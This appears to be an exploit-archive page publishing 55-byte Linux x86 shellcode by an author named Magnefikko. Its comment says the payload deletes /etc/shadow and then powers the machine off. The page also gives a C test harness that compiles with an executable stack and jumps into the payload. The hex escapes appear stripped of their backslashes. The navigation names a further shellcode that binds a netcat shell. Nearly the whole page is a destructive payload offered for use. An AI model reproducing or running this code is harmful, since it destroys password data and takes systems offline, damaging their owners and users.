[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 55 bytes SLoc-DoS shellcode by Magnefikko
# Published : 2010-04-14
# Author : Magnefikko
# Previous Title : 6 bytes DoS-Badger-Game shellcode
# Next Title : linux x86 nc -lvve/bin/sh -p13377 shellcode


#include <stdio.h>
#include <string.h>

/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.oz.pl
Subgroup: #PRekambr
Name: 55 bytes SLoc-DoS shellcode
Platform: Linux x86

unlink("/etc/shadow");
execve("poweroff", 0, 0);

gcc -Wl,-z,execstack filename.c

shellcode:

xebx25x5bx31xc0x31xc9x31xd2x89x43x0bxb0x0axcdx80xebx08x5bx89x53x08xb0x0bxcdx80xe8xf3xffxffxffx70x6fx77x65x72x6fx66x66xe8xd6xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77

*/


int main(){
char shell[] =
"xebx25x5bx31xc0x31xc9x31xd2x89x43x0bxb0x0axcdx80xebx08x5bx89x53x08xb0x0bxcdx80xe8xf3xffxffxffx70x6fx77x65x72x6fx66x66xe8xd6xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77";
printf("by Magnefikkonmagnefikko@gmail.comnpromhyl.oz.plnnstrlen(shell)
= %dn", strlen(shell));
(*(void (*)()) shell)();
}